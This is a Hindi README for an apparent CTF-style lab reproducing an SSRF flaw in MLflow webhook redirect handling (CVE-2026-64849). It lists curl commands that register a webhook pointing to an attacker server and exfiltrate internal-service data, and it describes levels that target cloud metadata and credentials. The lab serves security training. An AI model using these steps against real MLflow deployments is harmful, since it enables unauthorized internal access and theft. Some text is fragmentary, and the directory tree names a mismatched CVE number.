isaca0315/cve-2026-64849-poc-labयह लैब ठीक हो सकती है या गलत, AI से पूछो, मैं टेस्ट कर रहा हूँ लेकिन इसे काम करना चाहिए hahahah
CVE-2026-64849 · MLflow < 3.15.0 · सर्वर-साइड रिक्वेस्ट फोर्जरी (SSRF)
व्यावहारिक प्रयोगशाला जो CVE-2026-64849 को पुन: प्रस्तुत करती है: MLflow में एक
SSRF प्रकार की भेद्यता जो वेबहुक्स के प्रबंधन में TOCTOU (Time-of-Check /
Time-of-Use) दोष के कारण उत्पन्न होती है। MLflow वेबहुक के मूल URL को मान्य करता है
लेकिन HTTP रीडायरेक्ट्स (302) का अनुसरण करता है बिना पुनः-मान्य किए गंतव्य को, जिससे
एक बिना प्रमाणीकरण वाला हमलावर आंतरिक सेवाओं तक पहुँच सकता है जिन तक उसे पहुँच नहीं होनी चाहिए (internal-service:8888)।
प्रतिबंधित उपयोग: प्रयोगशाला सामग्री, केवल अधिकृत नेटवर्क और वातावरण के लिए। देखें कानूनी नोटिस।
| विशेषता | मान |
|---|
| भेद्यता | CVE-2026-64849 — वेबहुक रीडायरेक्ट बायपास के माध्यम से SSRF |
| प्रभावित घटक | MLflow ट्रैकिंग सर्वर (< 3.15.0) |
| लैब संस्करण | MLflow 3.13.0 (बिना संशोधित, pip install के माध्यम से) |
| मूल कारण | TOCTOU: URL को मान्य करता है, पुनः-मान्य किए बिना 302 का अनुसरण करता है |
| वेक्टर | HTTP; बिना प्रमाणीकरण |
| घोषित गंभीरता | CRITICAL (CVSS 9.3) — लैब एक्सप्लॉइट बैनर के अनुसार |
| परिणाम | आंतरिक सेवाओं तक पहुँच, क्रेडेंशियल चोरी, पोर्ट स्कैनिंग |
| अनुमानित अवधि | 15–20 मिनट |
| स्तर | मध्यवर्ती (वेब ऐप सुरक्षा / आक्रामक सुरक्षा) |
MLflow वेबहुक्स को पंजीकृत करने की अनुमति देता है जो घटनाओं पर HTTP अनुरोधों को ट्रिगर करते हैं (मॉडल डेटा, प्रयोग, आदि)। URL को सहेजने से पहले एक सत्यापन लागू किया जाता है (स्कीमा, निजी IPs, IP मेटाडेटा)। दोष इसलिए होता है क्योंकि:
3xx है, तो लाइब्रेरी
requests स्वचालित रूप से रीडायरेक्ट का अनुसरण करती है और वे गंतव्य URL को कभी पुनः-मान्य नहीं करते।हमलावर पहले हॉप को नियंत्रित करता है (एक सर्वर जो आंतरिक सेवा के लिए 302 का जवाब देता है)
और MLflow आंतरिक नेटवर्क के लिए प्रॉक्सी का कार्य करता है।
पूर्ण तकनीकी विश्लेषण देखें EXPLOITATION_GUIDE.md §6 में।
लैब पूरा करने पर छात्र निम्न में सक्षम होगा:
/test ट्रिगर और
आंतरिक सेवा का डेटा निष्कासन।दर्शक: आक्रामक सुरक्षा के छात्र और पेशेवर, पेंटेस्टर, एप्लिकेशन सुरक्षा समीक्षक, और MLflow का उपयोग करने वाले डेवलपर्स।
सॉफ़्टवेयर आवश्यकताएँ:
| उपकरण | न्यूनतम संस्करण |
|---|---|
| Docker + Docker Compose | Docker 20.x / Compose v2 |
curl | — |
jq | 1.6+ |
bash | — |
MLflow में कोई क्रेडेंशियल या प्रमाणीकरण आवश्यक नहीं है (हमला बिना प्रमाणीकरण वाला है)। आंतरिक नेटवर्क तक पहुँच आवश्यक नहीं है: लैब इसे प्रदान करता है।
होस्ट आंतरिक Docker नेटवर्क (lab_network)
┌──────────────────────────────┐ ┌────────────────────────────────────────────────┐
│ हमलावर (curl / bash) │ │ │
│ │ │ │ mlflow-vulnerable attacker_server │
│ ▼ │ │ (5000, MLflow 3.13.0) (8080, responder 302) │
│ http://localhost:5000 │ │ │ वेबहुक URL ▲ │
│ http://localhost:8080 │ │ ▼───────────────────────┘ │
│ http://localhost:8888 ✗ │ │ │ 302 Location: internal-service │
│ │ │ ▼ (SSRF, रीडायरेक्ट का अनुसरण करता है) │
│ │ │ internal-service (8888) ← होस्ट के लिए कोई │
│ │ │ "/admin/secret" पोर्ट नहीं │
│ │ └────────────────────────────────────────────────┘
└──────────────────────────────┘
| घटक | पोर्ट | लैब में भूमिका | संशोधित? |
|---|---|---|---|
mlflow-vulnerable | 5000 | पीड़ित / भेद्य क्लाइंट (MLflow 3.13.0 स्टॉक) | नहीं |
attacker-server | 8080 | हमलावर का सर्वर: /webhook → 302, /redirect?url=, /metadata, डैशबोर्ड | केवल do_HEAD |
internal-service | 8888 | lab_network में पीड़ित; /admin/secret और /api/internal/config | नहीं |
अखंडता विवरण: भेद्य सेवा और आंतरिक सेवा को संशोधित नहीं किया गया है। देखें EXPLOITATION_GUIDE.md §14।
cd mlflow-ssrf-lab
bash run_lab.sh start # 3 कंटेनर उठाता है और MLflow की प्रतीक्षा करता है
bash run_lab.sh exploit # स्वचालित रूप से शोषण करता है (SSRF → स्तर 1 का फ्लैग)
चरण-दर-चरण निर्देशित डेमो (इंटरैक्टिव मेनू):
bash manual_exploitation_interactive.sh
🏁 CTF मोड (मैनुअल समाधान): लैब स्तरों वाली एक चुनौती है। प्रत्येक
फ्लैग आपको अगले स्तर का सुराग देता है, इस प्रकार प्रत्येक फ्लैग तक पहुँचना "समझ में आता है"।
और मज़ा इसे हाथ से करने में है: ctf_lab.sh आपके लिए शोषण नहीं करता,
केवल मार्गदर्शन करता है और आपके फ्लैग को मान्य करता है:
bash ctf_lab.sh # CTF का इंटरैक्टिव मेनू
bash ctf_lab.sh nivel 1 # स्तर के निर्देश + सुराग (आपको स्वयं MANUALLY चलाने के लिए कमांड)
bash ctf_lab.sh flag '<flag>' # आपके द्वारा निकाले और डिकोड किए गए फ्लैग को मान्य करें (+अंक)
bash ctf_lab.sh status # पूर्ण किए गए स्तर + स्कोर (235 अंक, फ्लैग दिखाए बिना)
bash ctf_lab.sh hint 2 # एक स्तर का सुराग
bash ctf_lab.sh reset # प्रगति मिटाएँ
run_lab.sh स्क्रिप्ट के संदर्भ:
bash run_lab.sh start # start (डिफ़ॉल्ट) + स्थिति एंडपॉइंट
bash run_lab.sh exploit # mlflow कंटेनर के अंदर exploit.py चलाता है
bash run_lab.sh manual # चरण-दर-चरण curl कमांड दिखाता है
bash run_lab.sh logs # वास्तविक समय में लॉग का अनुसरण करता है
bash run_lab.sh stop # कंटेनर रोकता है
bash run_lab.sh clean # लैब डेटा रोकता है और हटाता है
/testके सभी कॉल के लिए हेडरContent-Type: application/jsonआवश्यक है; इसके बिना, MLflow 3.13400 Bad Requestका जवाब देता है।
# 1. हमलावर के सर्वर की ओर इशारा करते हुए वेबहुक बनाएँ (आंतरिक पोर्टल की जड़ पर रीडायरेक्ट करता है, स्तर 1)
WEBHOOK_ID=$(curl -s -X POST http://localhost:5000/api/2.0/mlflow/webhooks \
-H "Content-Type: application/json" \
-d '{"name":"ssrf_test","url":"http://attacker_server:8080/webhook","events":[{"entity":"MODEL_VERSION","action":"CREATED"}]}' \
| jq -r '.webhook.webhook_id')
# 2. /test ट्रिगर करें → MLflow URL को मान्य करता है, आंतरिक सेवा तक 302 का अनुसरण करता है
curl -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}'
# 3. निकाले गए डेटा को प्राप्त करें (result.response_body में नेस्टेड)
curl -s -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}' \
| jq -r '.result.response_body | fromjson'
चरण 3 का अपेक्षित परिणाम (CTF का स्तर 1):
{
"service": "internal-admin-portal",
"banner": "आंतरिक प्रशासनिक पोर्टल — केवल आंतरिक नेटवर्क से पहुँच योग्य",
"nivel": 1,
"flag_enc": "ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ==",
"flag_decoding": "echo ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ== | base64 -d",
"pista": "पोर्टल /admin/ और /api/ के अंतर्गत संसाधनों को उजागर करता है। व्यवस्थापक क्रेडेंशियल खोजें।"
}
फ्लैग एन्क्रिप्टेड (flag_enc) यात्रा करता है और प्रतिक्रिया स्वयं आपको
इसे डिकोड करने का कमांड देती है (flag_decoding)। लक्ष्य
इसे SSRF द्वारा निकालना और डिकोड करना है; और इसका pista आपको
स्तर 2 की ओर ले जाता है। चरण-दर-चरण विवरण, बग विश्लेषण
और उपचार EXPLOITATION_GUIDE.md में हैं।
लैब एक प्रगतिशील स्तरों वाला CTF है: प्रत्येक फ्लैग एक pista छोड़ता है जो
अगले गंतव्य की ओर ले जाता है, इस प्रकार प्रत्येक फ्लैग तक पहुँचना समझ में आता है।
सभी स्तर एक ही आधार तकनीक (रीडायरेक्ट के माध्यम से SSRF) से हल होते हैं,
तकनीक और खोज की कठिनाई को बढ़ाते हुए।
| स्तर | तकनीक / खोज | गंतव्य (SSRF) | फ्लैग | अंक |
|---|---|---|---|---|
| 1 | मूल रीडायरेक्ट | internal-service:8888/ | base64 | 10 |
| 2 | /admin/ की गणना | internal-service:8888/admin/secret | hex | 25 |
| 3 | /api/ की गणना | internal-service:8888/api/internal/config | base64 | 40 |
| 4 | क्लाउड मेटाडेटा (IMDS) | internal-service:8888/latest/meta-data/... | base64 + rev | 60 |
| 5 (अंतिम) | ब्लाइंड SSRF + पोर्ट 8889 पर छिपी सेवा की खोज | internal-service:8889/admin/final | XOR + base64 | 100 |
फ्लैग प्रतिक्रिया के
flag_encफ़ील्ड में एन्क्रिप्टेड यात्रा करते हैं और प्रत्येक प्रतिक्रिया मेंflag_decoding(इसे डिकोड करने के लिए सटीक कमांड) शामिल होता है। स्पष्ट फ्लैगflag{...}किसी भी स्क्रिप्ट या दस्तावेज़ में दिखाई नहीं देता: इसे SSRF के माध्यम से निकालना और डिकोड करना होता है (स्वचालित स्क्रिप्ट फ्लैग नहीं दिखाती)।
लैब नियम: फ्लैग केवल सफल SSRF के लिए (रीडायरेक्ट के माध्यम से आंतरिक सेवा से वास्तविक डेटा निष्कासन)। जो SSRF नहीं है या लैब में पुन: प्रस्तुत करने योग्य नहीं है
फ्लैग नहीं देता (जैसे attacker का सीधा /metadata, DNS
रीबाइंडिंग, whcli टनल, बिना निष्कासन के अंधा स्कैन)।
खेलें: bash ctf_lab.sh (इंटरैक्टिव मेनू)। स्तरों द्वारा मैनुअल समाधान
REDTEAM_GUIDE.md (कमांड-दर-कमांड आक्रामक अभ्यास) और
EXPLOITATION_GUIDE.md (पूर्ण तकनीकी प्रक्रिया) में।
लैब के समेकन के दौरान निम्नलिखित सुधार लागू किए गए, जो पहले से सत्यापित हैं और दस्तावेज़ीकरण के सभी कमांडों में परिलक्षित होते हैं:
| # | सुधार | प्रभाव |
|---|---|---|
| 1 | POST /test अब Content-Type: application/json (और -d '{}') भेजता है | MLflow 3.13 का 400 Bad Request और response_body निकालते समय jq: null त्रुटि समाप्त करता है |
| 2 | attacker_server.py विधि HEAD (do_HEAD) का समर्थन करता है | curl -I .../webhook 501 Unsupported method के बजाय 302 Found लौटाता है |
| 3 | वास्तविक API POST /api/2.0/mlflow/webhooks का उपयोग | गैर-मौजूद रूट्स (/webhooks/create) के 405 से बचाता है |
CVE-2026-29000-poc-lab/
├── README.md ← यह फ़ाइल (लैब का सूचकांक / कवर)
├── REDTEAM_GUIDE.md ← रेड टीम कुंजी में मैनुअल अभ्यास: recon → परिकल्पना → शोषण
├── EXPLOITATION_GUIDE.md ← लैब की पूर्ण प्रक्रिया (SSRF, विविधताएँ, अखंडता)
├── manual_exploitation_interactive.sh ← चरण-दर-चरण इंटरैक्टिव डेमो (मेनू)
└── mlflow-ssrf-lab/ ← लैब का कोड और ऑर्केस्ट्रेशन
├── docker-compose.yml ← 3 कंटेनर (mlflow, attacker, internal)
├── exploit.py ← स्वचालित शोषण (कंटेनर के अंदर चलता है)
├── attacker_server.py ← हमलावर का सर्वर (कॉन्फ़िगर करने योग्य 302)
├── internal_service.py ← आंतरिक "संरक्षित" सेवा (पोर्टल 8888 + छिपी सेवा 8889)
├── ctf_lab.sh ← CTF की मैनुअल गाइड (निर्देश + सुराग + फ्लैग वैलिडेटर)
├── run_lab.sh ← start / exploit / manual / logs / stop / clean
└── mlflow_data/ ← उत्पन्न डेटा (sqlite DB, आर्टिफैक्ट)
lab_network के भीतर अलग करता है;
आंतरिक सेवा को होस्ट पर उजागर नहीं करता।exploit.py लैब सत्यापन का एक उपकरण है और MLflow कंटेनर के अंदर,
अनुकरणित आंतरिक नेटवर्क पर चलता है (देखें
EXPLOITATION_GUIDE.md §14)।